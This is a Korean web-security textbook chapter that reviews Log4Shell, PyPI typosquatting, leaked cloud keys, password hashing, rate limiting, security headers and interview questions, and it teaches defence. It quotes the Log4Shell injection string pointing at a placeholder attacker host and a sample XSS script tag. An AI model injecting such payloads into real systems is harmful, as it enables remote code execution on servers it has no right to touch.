콘텐츠로 이동

Ch.23 유사 사례와 키워드 정리

< 웹 보안의 핵심


이번 챕터에서는 XSS, SQL Injection, CSRF가 왜 발생하는지, CORS와 TLS가 무엇을 보호하는지, Session과 JWT의 차이, 비밀번호 해싱과 Rate Limiting을 확인했다.

같은 원리가 적용되는 실무 사례를 몇 가지 더 본다.

23-5. 유사 사례

Log4Shell (CVE-2021-44228)

2021년 12월, Java 로깅 라이브러리 Log4j에서 치명적 취약점이 발견됐다. 공격자가 로그에 특정 문자열을 포함시키면, 서버가 외부 서버에서 코드를 다운로드해서 실행하는 원격 코드 실행(RCE) 취약점이었다.

${jndi:ldap://attacker.com/exploit}

이 문자열이 로그에 기록되는 순간, Log4j가 JNDI Lookup을 수행하면서 공격자의 서버에서 악성 코드를 가져와 실행한다. HTTP 요청의 User-Agent, 검색어, 이메일 주소 등 "로그에 기록될 수 있는 모든 곳"이 공격 벡터였다.

CVSS 점수 10.0(최고 위험). Minecraft 서버부터 Apple iCloud, Amazon, Twitter까지 영향을 받았다. 2021년 가장 심각한 보안 사건 중 하나였다.

(출처: NIST National Vulnerability Database, CVE-2021-44228)

(Python 사용자라면 직접적인 영향은 없었다. Log4j는 Java 라이브러리니까. 하지만 "로그에 기록되는 입력도 공격 벡터가 될 수 있다"는 교훈은 언어를 가리지 않는다. Python에서도 logging.info(f"User input: {user_input}")처럼 사용자 입력을 로그에 넣을 때, 그 입력이 어디서 해석될 수 있는지를 항상 생각해야 한다.)

의존성 취약점 (Supply Chain Attack)

코드 자체에 취약점이 없어도, 사용하는 라이브러리에 취약점이 있으면 뚫린다.

2021년, Python 패키지 저장소(PyPI)에 인기 패키지와 이름이 비슷한 악성 패키지가 올라왔다. python-dateutil 대신 python-deteutil(오타). 설치하면 시스템 정보를 외부로 전송하는 코드가 실행됐다. 이런 공격을 Typosquatting이라고 한다.

(출처: Snyk Blog, "Typosquatting on PyPI", 2021)

pip install 할 때 패키지 이름을 한 번 더 확인하는 습관이 필요하다. 그리고 의존성의 알려진 취약점을 정기적으로 스캔해야 한다. GitHub의 Dependabot, pip-audit, Snyk 같은 도구가 이 역할을 한다.

# pip-audit으로 현재 환경의 알려진 취약점을 스캔
pip install pip-audit
pip-audit

API Key를 GitHub에 올렸다

가장 흔하고, 가장 피해가 큰 실수 중 하나다. AWS Access Key, DB 비밀번호, API 토큰 같은 민감 정보를 코드에 하드코딩하고 GitHub에 push한다.

# 이런 코드가 public repository에 올라간다
AWS_ACCESS_KEY = "AKIAIOSFODNN7EXAMPLE"
AWS_SECRET_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

GitHub에는 이런 키를 자동으로 스캔하는 봇이 돌고 있다. public repository에 AWS 키를 올리면, 평균 수 분 이내에 누군가 해당 키로 EC2 인스턴스를 수백 개 띄워서 암호화폐 채굴을 시작한다. 다음 달 AWS 청구서에 수천만원이 찍힌다.

방어:

  1. 민감 정보는 환경 변수나 시크릿 관리 도구(AWS Secrets Manager, Vault)로 관리한다
  2. .gitignore.env, credentials.json 같은 파일을 추가한다
  3. GitHub의 Secret Scanning 기능을 활성화한다
  4. pre-commit hook으로 커밋 전에 민감 정보를 검사한다
# .gitignore 예시
.env
*.pem
credentials.json
# 환경 변수에서 읽어온다
import os
AWS_ACCESS_KEY = os.environ["AWS_ACCESS_KEY"]

측정: 비밀번호 해싱 강도와 Rate Limiting 패턴

비밀번호 해싱: 해시 함수별 시간 비용 비교

같은 비밀번호를 해싱할 때, 알고리즘 선택에 따라 한 번의 검증이 얼마나 걸리는지가 갈린다. 단위 시간이 작을수록 공격자가 단위 시간에 더 많이 시도할 수 있다는 뜻이다.

해시 함수 단일 해시 시간 (참고치) 1초당 시도 횟수 (GPU 공격자 기준) 메모리 사용 비밀번호 용도
MD5 약 0.001 ms 수백억 (수십 GH/s) 미미 부적합 (충돌 공격까지 알려짐)
SHA-256 약 0.002 ms 수백억 (~9 GH/s, RTX 4090) 미미 부적합 (체크섬용)
bcrypt (cost 12) 약 250 ms 약 5,000~20,000 회 약 4 KB 적합 (표준)
scrypt (N=2^14) 약 100 ms 약 1,000 회 약 16 MB 적합 (메모리 하드)
Argon2id (OWASP 권장 파라미터) 약 500 ms 약 1,000 회 약 47 MB 권장 (현재 표준)

(참고치는 일반 서버 CPU와 RTX 4090급 GPU 기준의 공개된 벤치마크에 기반한 근사값이다. 정확한 수치는 하드웨어와 파라미터(cost, N, t, m)에 따라 달라진다. 출처: OWASP Password Storage Cheat Sheet, Hashcat 공식 벤치마크, https://hashcat.net/wiki/doku.php?id=performance)

bcrypt의 cost factor를 1 올리면 시간이 2배가 된다. 사용자가 로그인할 때 250ms ~ 500ms 정도면 사용성에 큰 영향이 없지만, 공격자에게는 그 시간이 수십억 번 곱해진다. OWASP는 2024년 기준 Argon2id를 1순위로, bcrypt(cost ≥ 10)를 2순위로 권장한다.

(출처: OWASP, "Password Storage Cheat Sheet", https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)

Rate Limiting 패턴 비교

같은 "초당 N회 제한"이라도 구현 알고리즘에 따라 정확성과 비용이 다르다.

패턴 동작 방식 장점 단점 대표 구현
Fixed Window 1분 단위로 카운터 초기화. 60초 내 N회 제한 구현 간단, 메모리 적음 경계에서 2배 burst 가능 (59초~01초에 2N회 가능) Redis INCR key + EXPIRE key 60
Sliding Log 모든 요청 시각을 큐에 저장, 윈도우 밖은 제거 정확도 높음 메모리 사용량이 요청 수에 비례 Redis ZADD + ZREMRANGEBYSCORE
Sliding Window Counter 현재 윈도우 카운터 + 이전 윈도우의 가중치 합 메모리 적고 정확도 양호 구현이 약간 복잡 Cloudflare, nginx limit_req
Token Bucket 일정 속도로 토큰이 차오르고, 요청 시 토큰 소비 burst 허용 + 평균 속도 보장 토큰 충전 로직 필요 AWS API Gateway, Stripe API
Leaky Bucket 일정 속도로만 요청이 빠져나감 (대기열) 출력 속도 평탄화 요청이 대기열에서 지연됨 메시지 큐 기반 시스템
# Fixed Window (Redis 기반, 가장 단순한 형태)
def allow_fixed_window(key: str, limit: int, window_sec: int) -> bool:
    now_bucket = int(time.time()) // window_sec
    redis_key = f"rl:{key}:{now_bucket}"
    count = redis.incr(redis_key)
    if count == 1:
        redis.expire(redis_key, window_sec)
    return count <= limit
# Token Bucket (가장 실무에서 많이 쓰이는 형태, burst 허용)
def allow_token_bucket(key: str, capacity: int, refill_per_sec: float) -> bool:
    # Redis Lua 스크립트로 원자적으로 처리하는 것이 권장됨
    state = redis.hgetall(f"tb:{key}") or {}
    now = time.time()
    tokens = float(state.get("tokens", capacity))
    last = float(state.get("last", now))
    # 경과 시간만큼 토큰 충전
    tokens = min(capacity, tokens + (now - last) * refill_per_sec)
    if tokens < 1:
        redis.hset(f"tb:{key}", mapping={"tokens": tokens, "last": now})
        return False
    redis.hset(f"tb:{key}", mapping={"tokens": tokens - 1, "last": now})
    return True

실무 선택 가이드:

  • 로그인 같은 "burst가 의미 없는" API는 Fixed Window나 Sliding Window Counter가 적합하다
  • 정상 사용자도 가끔 burst가 필요한 API(검색, 페이지네이션)는 Token Bucket이 적합하다
  • 정확도가 중요한 결제/송금은 Sliding Log + 추가 비즈니스 로직(일일 한도) 조합을 쓴다

(출처: Cloudflare, "How we built rate limiting capable of scaling to millions of domains"; AWS API Gateway 공식 문서)

그래서 실무에서는 어떻게 하는가

1. Input Validation 체크리스트

사용자 입력이 들어오는 모든 곳에서 검증한다:

from pydantic import BaseModel, Field, field_validator
import re

class CreatePostRequest(BaseModel):
    title: str = Field(max_length=200)
    content: str = Field(max_length=10000)

    @field_validator("title")
    @classmethod
    def validate_title(cls, v):
        # HTML 태그 포함 여부 검사
        if re.search(r"<[^>]+>", v):
            raise ValueError("HTML 태그는 허용되지 않는다")
        return v.strip()

Pydantic의 BaseModel로 타입, 길이, 형식을 선언적으로 검증한다. FastAPI와 조합하면 요청 단계에서 잘못된 입력을 걸러낸다.

2. 보안 헤더 설정

from fastapi.middleware.trustedhost import TrustedHostMiddleware
from starlette.middleware import Middleware

# 허용된 Host만 접근 가능
app.add_middleware(TrustedHostMiddleware, allowed_hosts=["example.com", "*.example.com"])

# 응답에 보안 헤더 추가
@app.middleware("http")
async def add_security_headers(request, call_next):
    response = await call_next(request)
    # XSS 방어: 브라우저의 인라인 스크립트 실행을 차단
    response.headers["Content-Security-Policy"] = "default-src 'self'"
    # Clickjacking 방어: iframe 삽입 차단
    response.headers["X-Frame-Options"] = "DENY"
    # MIME 타입 스니핑 차단
    response.headers["X-Content-Type-Options"] = "nosniff"
    # HTTPS 강제
    response.headers["Strict-Transport-Security"] = "max-age=31536000; includeSubDomains"
    return response

Content-Security-Policy(CSP)는 XSS의 강력한 방어 수단이다. default-src 'self'는 "같은 Origin의 리소스만 로드하라"는 뜻이다. 인라인 스크립트(<script>alert(1)</script>)와 외부 스크립트 로드를 차단한다. Escape를 깜빡해도 CSP가 2차 방어선이 된다.

3. 의존성 업데이트

# 현재 환경의 취약점 스캔
pip-audit

# Poetry 환경에서 패키지 업데이트
poetry update

# GitHub Dependabot 설정 (.github/dependabot.yml)
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "pip"
    directory: "/"
    schedule:
      interval: "weekly"

Dependabot이 매주 취약점이 있는 의존성을 확인하고, 업데이트 PR을 자동으로 만들어준다.

4. 쿠키 보안 속성

response.set_cookie(
    key="session_id",
    value=session_id,
    httponly=True,     # JavaScript에서 접근 불가 (XSS 방어)
    secure=True,       # HTTPS에서만 전송
    samesite="lax",    # 다른 사이트에서의 요청에 쿠키 미포함 (CSRF 방어)
    max_age=3600,      # 1시간 후 만료
)
  • httponly=True: document.cookie로 접근할 수 없다. XSS로 쿠키를 탈취할 수 없게 만든다.
  • secure=True: HTTPS 연결에서만 쿠키가 전송된다.
  • samesite="lax": 다른 사이트에서 링크를 클릭해서 오는 GET 요청에는 쿠키가 포함되지만, POST 요청(폼 제출 등)에는 포함되지 않는다. "strict"로 설정하면 모든 크로스 사이트 요청에서 쿠키를 차단한다.

5. 면접 Q&A (이 챕터로 답할 수 있는 단골 질문)

XSS, CSRF, SQL Injection의 차이가 뭔가요?

공격 위치와 실행 주체가 다르다. XSS는 악성 스크립트를 페이지에 주입해서 다른 사용자의 브라우저에서 실행시키는 거고, CSRF는 인증된 사용자의 브라우저가 의도하지 않은 요청을 보내게 만드는 거다. SQL Injection은 사용자 입력을 SQL 쿼리에 끼워 넣어서 DB 서버에서 의도하지 않은 쿼리를 실행시킨다. 방어 수단도 각각 다르다. XSS는 HTML Escape와 CSP, CSRF는 CSRF Token과 SameSite 쿠키, SQL Injection은 Parameterized Query다.

SQL Injection을 막으려면 f-string으로 SQL을 만들면 안 된다는데, ORM을 쓰면 안전한가요?

ORM이 내부적으로 Parameterized Query를 만들어주기 때문에 대체로 안전하다. SQLAlchemy의 session.query(User).filter(User.name == name)은 placeholder를 쓴 prepared statement로 변환된다. 다만 text()나 raw SQL을 쓰면서 f-string으로 값을 끼워 넣으면 ORM을 써도 똑같이 뚫린다. 핵심은 "사용자 입력을 SQL 문자열에 연결하지 않는 것"이다. pymysql 같은 드라이버에서도 cursor.execute(sql, params)처럼 값을 두 번째 인자로 분리해서 넘겨야 한다.

CORS가 정확히 뭔가요? CORS 에러가 나면 어디를 고쳐야 하나요?

CORS는 Same-Origin Policy를 선택적으로 완화하는 HTTP 메커니즘이다. 브라우저가 다른 Origin의 응답을 막는 게 기본인데, 서버가 Access-Control-Allow-Origin 헤더로 "이 Origin은 허용한다"고 선언하면 통과시킨다. 따라서 CORS 에러는 거의 항상 서버 설정 문제다. 클라이언트에서 헤더를 추가해서 풀 수 있는 게 아니다. 그리고 브라우저 정책이라서 서버 간 통신에는 적용되지 않는다.

JWT랑 Session 중에 뭘 써야 하나요?

상태를 어디에 둘지의 문제다. Session은 서버에 상태를 저장(Stateful)하고 세션 ID만 쿠키로 주고받는다. 강제 로그아웃이 쉽지만 서버가 여러 대면 세션 저장소를 공유해야 한다(Redis 같은 거로). JWT는 토큰 자체에 정보를 담고 서버에 상태를 두지 않는다(Stateless). 확장이 쉽지만 토큰이 한번 발급되면 만료 전까지 무효화가 어렵다. MSA처럼 서비스가 많고 인증을 분산해야 하면 JWT, 강제 로그아웃과 세션 추적이 중요하면 Session이 낫다.

HTTPS는 뭘 보호해주는 건가요? 내부망에서도 써야 하나요?

HTTPS = HTTP + TLS다. 기밀성(중간에서 도청 불가), 무결성(변조 감지), 인증(서버가 진짜인지 인증서로 검증) 세 가지를 보장한다. TLS는 비대칭키로 세션 키를 교환하고 이후 대칭키로 통신한다. 내부망이라도 같은 LAN에 있는 다른 서버나 운영자가 패킷을 들여다볼 수 있고, 클라우드 환경에서는 "내부망"의 경계가 흐릿하다. Zero Trust 관점에서 내부 통신도 TLS로 암호화하는 게 표준이 되어가고 있다.

비밀번호를 SHA-256으로 해싱하면 안전한가요?

안전하지 않다. SHA-256은 빠른 해시라 무차별 대입에 취약하다. GPU로 초당 수십억 번 해시를 돌릴 수 있다. 비밀번호는 의도적으로 느린 bcrypt, argon2 같은 해시를 써야 한다. 그리고 Salt가 자동으로 포함되어서 Rainbow Table 공격도 막아준다. "보안용 해시"와 "체크섬용 해시"는 용도가 다르다.

API에 무차별 대입 공격이 들어옵니다. 어떻게 막나요?

Rate Limiting을 건다. 같은 IP 또는 같은 계정에서 일정 시간 내 시도 횟수를 제한하는 거다. Redis의 INCR + EXPIRE 조합으로 분산 환경에서도 카운터를 공유할 수 있다. nginx 레벨에서 거는 것도 가능하고, API Gateway에 박는 것도 일반적이다. 추가로 비밀번호 해싱을 bcrypt 같은 느린 해시로 하면, 공격자가 해시 하나 검증하는 데도 시간이 걸려서 효과가 곱해진다.

3. 오늘 키워드 정리

보안은 하나의 키워드가 아니라, 여러 계층의 키워드가 조합되어 동작한다. 이번 챕터에서 나온 키워드를 정리한다.

OWASP Top 10

OWASP가 발표하는 웹 애플리케이션 보안 위협 상위 10개 목록이다. 2~3년 주기로 갱신된다. 2021년 기준 1위는 Broken Access Control, 3위는 Injection(SQL Injection, XSS 포함)이다. 웹 보안의 기본 교과서라고 보면 된다.

출처: OWASP Foundation, https://owasp.org/Top10/

XSS (Cross-Site Scripting)

악성 스크립트를 웹 페이지에 주입해서 다른 사용자의 브라우저에서 실행시키는 공격이다. Stored XSS(DB 저장), Reflected XSS(URL 파라미터), DOM-based XSS(클라이언트) 세 유형이 있다. 방어: HTML Escape, Content-Security-Policy 헤더, HttpOnly 쿠키.

SQL Injection

사용자 입력을 SQL 쿼리에 직접 삽입할 때, 공격자가 SQL 구문을 포함시켜 원래 쿼리의 의미를 바꾸는 공격이다. 데이터 유출, 변조, 삭제가 가능하다. 방어: Parameterized Query, ORM 사용. f-string이나 문자열 연결로 SQL을 절대 만들면 안 된다.

CSRF (Cross-Site Request Forgery)

인증된 사용자가 의도하지 않은 요청을 위조하는 공격이다. 사용자의 인증 정보(쿠키)가 자동 전송되는 것을 악용한다. 방어: CSRF Token, SameSite 쿠키, Referer/Origin 헤더 검증.

Same-Origin Policy (동일 출처 정책)

브라우저가 "같은 Origin(프로토콜 + 도메인 + 포트)에서 온 리소스만 접근 가능하다"고 제한하는 보안 정책이다. 악성 사이트가 다른 사이트의 API를 호출하는 것을 막는 기본 방어선이다.

CORS (Cross-Origin Resource Sharing)

Same-Origin Policy를 선택적으로 완화하는 HTTP 메커니즘이다. 서버가 Access-Control-Allow-Origin 헤더로 "이 Origin의 요청은 허용한다"고 선언한다. 브라우저의 정책이므로, 서버 간 통신에는 적용되지 않는다.

HTTPS / TLS (Transport Layer Security)

통신 암호화 프로토콜이다. HTTP + TLS = HTTPS. 기밀성(도청 불가), 무결성(변조 감지), 인증(서버 인증서 검증)을 보장한다. Ch.6의 TCP 위에서 동작한다. TLS 1.3이 최신 버전이다.

대칭키 / 비대칭키 암호화
  • 대칭키: 같은 키로 암호화/복호화. 빠르지만 키 교환 문제가 있다 (AES).
  • 비대칭키: 공개키/개인키 쌍. 느리지만 키 교환이 안전하다 (RSA, ECDHE).

TLS는 비대칭키로 세션 키를 교환하고, 이후 대칭키로 통신한다.

JWT (JSON Web Token)

서버가 발급하는 서명된 토큰이다. Header.Payload.Signature 구조. 서버에 상태를 저장하지 않아도 된다(Stateless). 하지만 토큰 탈취 시 만료까지 무효화가 어렵다. Payload는 Base64 인코딩이므로 민감 정보를 넣으면 안 된다.

Session (세션)

서버에 사용자 상태를 저장하는 인증 방식이다. 세션 ID를 쿠키로 전송하고, 서버가 세션 저장소(메모리, Redis)에서 사용자 정보를 조회한다. 강제 로그아웃이 가능하지만, 서버가 여러 대면 세션 공유가 필요하다(Stateful).

bcrypt / Password Hashing

비밀번호를 안전하게 저장하기 위한 느린 해시 함수다. SHA-256 같은 범용 해시와 달리, 의도적으로 연산을 느리게 만들어서 무차별 대입 공격을 비실용적으로 만든다. Salt를 자동으로 포함해서 Rainbow Table 공격도 방어한다.

Rate Limiting

일정 시간 내 요청 횟수를 제한하는 기법이다. Brute Force(무차별 대입) 공격을 방어한다. nginx, API Gateway, 또는 애플리케이션 레벨에서 구현 가능하다. Redis의 INCR + EXPIRE 조합으로 분산 환경에서도 구현할 수 있다.

CSP (Content-Security-Policy)

브라우저에게 "어떤 리소스를 로드할 수 있는지"를 지시하는 HTTP 헤더다. 인라인 스크립트 실행을 차단하면 XSS를 근본적으로 막을 수 있다. HTML Escape를 놓쳤을 때의 2차 방어선이다.

재등장 키워드

키워드 최초 등장 이번 챕터에서의 역할
TCP Ch.6 TLS가 TCP 위에서 동작한다. HTTPS = TCP + TLS + HTTP
Connection Pool Ch.6 Rate Limiting을 Redis Connection Pool로 구현할 수 있다
Atomicity Ch.5 CSRF Token 검증은 "확인 + 실행"이 원자적이어야 한다
Redis Ch.17 세션 저장소, Rate Limiting 카운터로 사용
Hash Function Ch.10 bcrypt도 Hash 기반. Ch.10의 Hash Table과 같은 수학적 기반
Code Review Ch.9 보안 취약점은 코드 리뷰에서 잡아야 한다

키워드 연관 관계

graph LR
    OWASP["OWASP Top 10"] --> XSS
    OWASP --> SQLI["SQL Injection"]
    OWASP --> CSRF

    XSS -->|"방어"| ESC["HTML Escape"]
    XSS -->|"방어"| CSP["CSP"]
    SQLI -->|"방어"| PQ["Parameterized Query"]
    CSRF -->|"방어"| CT["CSRF Token"]
    CSRF -->|"방어"| SS["SameSite Cookie"]

    SOP["Same-Origin Policy"] -->|"완화"| CORS
    SOP -->|"방어"| CSRF

    TLS["HTTPS / TLS"] --> TCP["TCP<br/>(Ch.6)"]
    TLS --> SYM["대칭키"]
    TLS --> ASYM["비대칭키"]

    JWT -->|"vs"| SESSION["Session"]
    SESSION --> REDIS["Redis<br/>(Ch.17)"]
    JWT -->|"Stateless"| MSA["MSA"]

    PW["Password Hashing"] --> BCRYPT["bcrypt"]
    PW --> HF["Hash Function<br/>(Ch.10)"]
    RL["Rate Limiting"] --> REDIS

    style XSS fill:#f96,stroke:#333
    style SQLI fill:#f96,stroke:#333
    style CSRF fill:#f96,stroke:#333

여기까지의 지도 (누적)

위의 "키워드 연관 관계"가 이번 챕터 의 연결이라면, 아래는 Ch.1부터 지금까지 도메인별로 쌓인 키워드다. 빈 레인은 앞으로 그 챕터에서 채워진다 — 다 채워지는 과정이 곧 이 강의의 지도다. (이번 챕터에서 추가된 키워드는 굵게.)

도메인 누적 키워드 (등장 챕터)
OS·실행 System Call·Kernel·Mode Switch·Buffer·File Descriptor(2) → CPU/IO Bound·GIL·Event Loop·async/await·Thread/Process Pool·Context Switch·IPC(3) → Process·Thread·PCB/TCB·Memory Layout·Virtual Memory·Page·TLB·OOM(4)
동시성·트랜잭션 Race Condition·Critical Section·Mutex/Lock·Deadlock·Semaphore·Starvation(5) → ACID·Transaction·Isolation Level·Dirty/Phantom Read·Pessimistic/Optimistic Lock(15)
자료구조·알고리즘 Hash Table·Time/Space Complexity·Linear Search·Load Factor(10) → Binary Search·B-Tree/B+Tree·Index·Full Table Scan·Tim Sort·EXPLAIN(11) → BFS·DFS·DAG·Topological Sort·Trie·Adjacency List(12)
DB·캐시·튜닝 ORM·N+1·Lazy/Eager Loading·QEP·CBO(13) → Covering/Composite Index·Cardinality·Hash Index(14) → Slow Query·Pagination·Partitioning·Sharding·Read Replica(16) → Cache·Hit/Miss·TTL·Eviction·Cache-Aside·Redis(17) → Local/Remote Cache·Cache Invalidation·CDN(18)
네트워크·분산 TCP/IP·Socket·3/4-Way Handshake·Connection Pool·Keep-Alive·TIME_WAIT(6) → Bottleneck·Amdahl's Law·Scale-Up/Out(19) → Container·Docker·namespace·cgroup·Kubernetes·Service Discovery(22)
설계·AI·품질·보안 Computational Thinking·CS 키워드(1) → LLM·Token·Context Window·Hallucination·Prompt Engineering(7) → 키워드 사전·DNS·Load Balancing·Circuit Breaker·CQRS(8) → Code Review·YAGNI·Cache Stampede(9) → SOLID·Clean Architecture·DI/IoC·God Class(20) → Test Pyramid·Unit/Integration/E2E·Mock/Stub(21) → OWASP·XSS·SQL Injection·CSRF·HTTPS/TLS·JWT(23)

다음에 이어지는 이야기

이번 챕터에서는 웹 보안의 기초를 다뤘다. 사용자 입력을 신뢰하지 않는 것, 통신을 암호화하는 것, 인증을 안전하게 처리하는 것. Part 7의 보안 챕터가 끝났다.

Ch.1에서 "CS 키워드를 모르면 검색도 AI도 못 쓴다"로 시작해서, 23챕터에 걸쳐 OS, 네트워크, 자료구조, 알고리즘, DB, 캐시, 아키텍처, 테스트, 분산 시스템, 보안을 하나씩 쌓아왔다. 이 키워드들은 각각 따로 노는 게 아니다. System Call을 알아야 print가 왜 느린지 알고, TCP를 알아야 Connection Pool이 왜 필요한지 알고, Hash를 알아야 인덱스도 비밀번호 해싱도 이해할 수 있다.

다음 챕터에서는 이 모든 것을 하나로 연결한다. 하나의 서비스를 설계에서 배포까지 분석하면서, 24챕터의 키워드가 각 레이어에서 어떻게 작동하는지를 전체 그림으로 완성한다.


< 웹 보안의 핵심

< Ch.22 분산 시스템의 기초 | Ch.24 종합 >